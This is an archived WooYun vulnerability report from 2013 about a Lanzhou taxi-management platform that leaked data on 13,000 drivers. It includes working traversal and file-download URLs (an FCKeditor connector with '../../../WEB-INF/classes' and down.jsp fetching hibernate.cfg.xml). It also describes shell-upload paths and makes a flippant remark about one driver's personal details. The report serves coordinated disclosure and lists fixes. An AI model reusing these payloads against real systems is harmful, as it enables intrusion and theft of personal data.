某市城市交通运输管平台漏洞1.3万驾驶员信息泄露

漏洞概要

缺陷编号:WooYun-2013-017958

漏洞标题:某市城市交通运输管平台漏洞1.3万驾驶员信息泄露

相关厂商:兰州运管处

漏洞作者:Asuimu

提交时间:2013-01-29 15:31

公开时间:2013-03-13 15:32

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2013-01-29: 细节已通知厂商并且等待厂商处理中
2013-01-29: 厂商已经确认,细节仅向厂商公开
2013-02-08: 细节向核心白帽子及相关领域专家公开
2013-02-18: 细节向普通白帽子公开
2013-02-28: 细节向实习白帽子公开
2013-03-13: 细节向公众公开

简要描述:

文件遍历+任意文件,直接连数据库,全市1.3万出租车司机信息泄露。

详细说明:

文件遍历+任意文件,直接连数据库,兰州市1.3万出租车司机信息泄露。各车行及车辆信息泄露。程序对后台模块权限限制不严,还存在2处上传。

漏洞证明:

fck文件遍历到WEB-INF/class目录下找到数据库配置文件**.**.**.**/TaxiManage/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../../WEB-INF/classes

再利用addinfo/down.jsp下载该配置文件**.**.**.**/TaxiManage/addInfo/down.jsp?files=WEB-INF/classes/hibernate.cfg.xml

数据库对外开放,直接连~~

管理员密码明文存储~~

密码太弱了,直接进后台兰州85后女司机,本科毕业的仅此一人

身份证附件按省份证号码从放,遍历批量下载

另外还有两处上传漏洞一个是fck的,另外一个是遍历目录找到的,直接上传再用遍历漏洞找shell路径**.**.**.**/TaxiManage/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector**.**.**.**/TaxiManage/addInfo/UpLoadFile.jsp

修复方案:

1、上传文件类型判读2、后台模块权限控制3、down.jsp中flies参数对下载目录及文件类型做限制4、数据库放内网

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-01-29 23:27

厂商回复:

CNVD确认漏洞并复现所述情况,已经转由CNCERT甘肃分中心协调网站管理方上级主管部门(厅局级)处置。按完全影响机密性进行评分,基本危害评分7.79(高危),发现技术难度系数1.1(猜解有时不易),涉及行业或单位影响系数1.4,综合rank=7.79*1.1*1.4=11.966

最新状态:

暂无

评价